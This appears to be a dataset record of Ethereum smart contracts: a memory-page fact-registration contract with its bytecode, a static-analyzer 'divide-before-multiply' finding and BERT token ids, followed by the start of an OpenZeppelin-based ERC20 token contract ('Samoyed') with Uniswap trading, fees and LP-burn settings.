memoryHash, uint256(0) ) ); } /* Registers a fact based on the given values, assuming continuous addresses. values should be [value at startAddr, value at (startAddr + 1), ...]. */ function registerContinuousMemoryPage( // NOLINT: external-function. uint256 startAddr, uint256[] memory values, uint256 z, uint256 alpha, uint256 prime ) public returns ( bytes32 factHash, uint256 memoryHash, uint256 prod ) { require(values.length < 2**20, "Too many memory values."); require(prime < 2**254, "prime is too big for the optimizations in this function."); require(z < prime, "Invalid value of z."); require(alpha < prime, "Invalid value of alpha."); require(startAddr < 2**64 && startAddr < prime, "Invalid value of startAddr."); uint256 nValues = values.length; assembly { // Initialize prod to 1. prod := 1 // Initialize valuesPtr to point to the first value in the array. let valuesPtr := add(values, 0x20) let minus_z := mod(sub(prime, z), prime) // Start by processing full batches of 8 cells, addr represents the last address in each // batch. let addr := add(startAddr, 7) let lastAddr := add(startAddr, nValues) for { } lt(addr, lastAddr) { addr := add(addr, 8) } { // Compute the product of (lin_comb - z) instead of (z - lin_comb), since we're // doing an even number of iterations, the result is the same. prod := mulmod( prod, mulmod( add(add(sub(addr, 7), mulmod(mload(valuesPtr), alpha, prime)), minus_z), add( add(sub(addr, 6), mulmod(mload(add(valuesPtr, 0x20)), alpha, prime)), minus_z ), prime ), prime ) prod := mulmod( prod, mulmod( add( add(sub(addr, 5), mulmod(mload(add(valuesPtr, 0x40)), alpha, prime)), minus_z ), add( add(sub(addr, 4), mulmod(mload(add(valuesPtr, 0x60)), alpha, prime)), minus_z ), prime ), prime ) prod := mulmod( prod, mulmod( add( add(sub(addr, 3), mulmod(mload(add(valuesPtr, 0x80)), alpha, prime)), minus_z ), add( add(sub(addr, 2), mulmod(mload(add(valuesPtr, 0xa0)), alpha, prime)), minus_z ), prime ), prime ) prod := mulmod( prod, mulmod( add( add(sub(addr, 1), mulmod(mload(add(valuesPtr, 0xc0)), alpha, prime)), minus_z ), add(add(addr, mulmod(mload(add(valuesPtr, 0xe0)), alpha, prime)), minus_z), prime ), prime ) valuesPtr := add(valuesPtr, 0x100) } // Handle leftover. // Translate addr to the beginning of the last incomplete batch. addr := sub(addr, 7) for { } lt(addr, lastAddr) { addr := add(addr, 1) } { let address_value_lin_comb := addmod( addr, mulmod(mload(valuesPtr), alpha, prime), prime ) prod := mulmod(prod, add(z, sub(prime, address_value_lin_comb)), prime) valuesPtr := add(valuesPtr, 0x20) } memoryHash := keccak256(add(values, 0x20), mul(0x20, nValues)) } factHash = keccak256( abi.encodePacked(CONTINUOUS_PAGE, prime, nValues, z, alpha, prod, memoryHash, startAddr) ); emit LogMemoryPageFactContinuous(factHash, memoryHash, prod); registerFact(factHash); } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c8063405a6362146100515780635578ceae146100eb5780636a938567146101a0578063d6354e15146101d1575b600080fd5b6100cd6004803603608081101561006757600080fd5b81019060208101813564010000000081111561008257600080fd5b82018360208201111561009457600080fd5b803590602001918460208302840111640100000000831117156100b657600080fd5b9193509150803590602081013590604001356101d9565b60408051938452602084019290925282820152519081900360600190f35b6100cd600480360360a081101561010157600080fd5b8135919081019060408101602082013564010000000081111561012357600080fd5b82018360208201111561013557600080fd5b8035906020019184602083028401116401000000008311171561015757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505082359350505060208101359060400135610422565b6101bd600480360360208110156101b657600080fd5b5035610821565b604080519115158252519081900360200190f35b6101bd610832565b6000808062100000871061024e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f546f6f206d616e79206d656d6f72792076616c7565732e000000000000000000604482015290519081900360640190fd5b60028706156102a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806109856021913960400191505060405180910390fd5b83861061031657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f496e76616c69642076616c7565206f66207a2e00000000000000000000000000604482015290519081900360640190fd5b83851061038457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496e76616c69642076616c7565206f6620616c7068612e000000000000000000604482015290519081900360640190fd5b6103c58888808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508a925089915088905061083b565b6040805184815260208101849052808201839052905193965091945092507f98fd0d40bd3e226c28fb29ff2d386bd8f9e19f2f8436441e6b854651d3b687b3919081900360600190a1610417836108ff565b955095509592505050565b60008060006210000087511061049957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f546f6f206d616e79206d656d6f72792076616c7565732e000000000000000000604482015290519081900360640190fd5b7f40000000000000000000000000000000000000000000000000000000000000008410610511576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806109a66038913960400191505060405180910390fd5b83861061057f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f496e76616c69642076616c7565206f66207a2e00000000000000000000000000604482015290519081900360640190fd5b8385106105ed57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496e76616c69642076616c7565206f6620616c7068612e000000000000000000604482015290519081900360640190fd5b680100000000000000008810801561060457508388105b61066f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f496e76616c69642076616c7565206f66207374617274416464722e0000000000604482015290519081900360640190fd5b5085516001906020880187860386900660078b018b84015b8082101561072f578889848b8d602089015109600686030101858c8e89510960078703010109870995508889848b8d606089015109600486030101858c8e60408a01510960058703010109870995508889848b8d60a089015109600286030101858c8e60808a01510960038703010109870995508889848b8d60e089015109850101858c8e60c08a015109600187030101098709955061010084019350600882019150610687565b6007820391505b808210156107635788898b8651098308925088838a038c0187099550602084019350600182019150610736565b50505060208083028a820120604080516001818501528082018a905260608101869052608081018c905260a081018b905260c0810187905260e081018390526101008082018f905282518083039091018152610120820180845281519190950120938490526101408101839052610160810187905290519297509095507fb8b9c39aeba1cfd98c38dfeebe11c2f7e02b334cbe9f05f22b442a5d9c1ea0c592508190036101800190a1610815846108ff565b50955095509592505050565b600061082c8261096f565b92915050565b60015460ff1690565b600080600080600288518161084c57fe5b0490506001915060208801604082028101815b818110156108865787888a60208401510982510888818a038c01870995505060400161085f565b5050816040028120935050600085828989868860006040516020018089815260200188815260200187815260200186815260200185815260200184815260200183815260200182815260200198505050505050505050604051602081830303815290604052805190602001209350509450945094915050565b600081815260208190526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660019081179091555460ff1661096c57600180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016811790555b50565b60009081526020819052604090205460ff169056fe53697a65206f66206d656d6f72795061697273206d757374206265206576656e2e7072696d6520697320746f6f2062696720666f7220746865206f7074696d697a6174696f6e7320696e20746869732066756e6374696f6e2ea2646970667358221220ad57db530950b473eb8ddf831c79a963f910146fab4b8d61da87a811f12e0fd464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 24434, 12376, 2620, 2581, 2497, 2475, 2546, 2575, 12879, 2278, 28154, 2063, 2629, 2063, 2692, 14141, 22203, 14526, 2497, 2549, 2094, 2692, 21057, 15878, 2546, 14141, 2620, 2497, 1013, 1008, 9385, 10476, 1011, 25682, 9762, 8059, 6088, 5183, 1012, 7000, 2104, 1996, 15895, 6105, 1010, 2544, 1016, 1012, 1014, 1006, 1996, 1000, 6105, 1000, 1007, 1012, 2017, 2089, 2025, 2224, 2023, 5371, 3272, 1999, 12646, 2007, 1996, 6105, 1012, 2017, 2089, 6855, 1037, 6100, 1997, 1996, 6105, 2012, 16770, 1024, 1013, 1013, 7479, 1012, 9762, 8059, 1012, 2522, 1013, 2330, 1011, 3120, 1011, 6105, 1013, 4983, 3223, 2011, 12711, 2375, 2030, 3530, 2000, 1999, 3015, 1010, 4007, 5500, 2104, 1996, 6105, 2003, 5500, 2006, 2019, 1000, 2004, 2003, 1000, 3978, 1010, 2302, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,102
0x9637ec094023c82c16debed9e53eaee654017567
// SPDX-License-Identifier: MIT pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0; pragma experimental ABIEncoderV2; ////// lib/openzeppelin-contracts/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) /* pragma solidity ^0.8.0; */ /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } ////// lib/openzeppelin-contracts/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) /* pragma solidity ^0.8.0; */ /* import "../utils/Context.sol"; */ /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) /* pragma solidity ^0.8.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) /* pragma solidity ^0.8.0; */ /* import "../IERC20.sol"; */ /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) /* pragma solidity ^0.8.0; */ /* import "./IERC20.sol"; */ /* import "./extensions/IERC20Metadata.sol"; */ /* import "../../utils/Context.sol"; */ /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } ////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) /* pragma solidity ^0.8.0; */ // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } ////// src/IUniswapV2Factory.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } ////// src/IUniswapV2Pair.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } ////// src/IUniswapV2Router02.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } /* pragma solidity >=0.8.10; */ /* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */ /* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */ /* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */ /* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ /* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */ /* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */ /* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */ contract Samoyed is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public 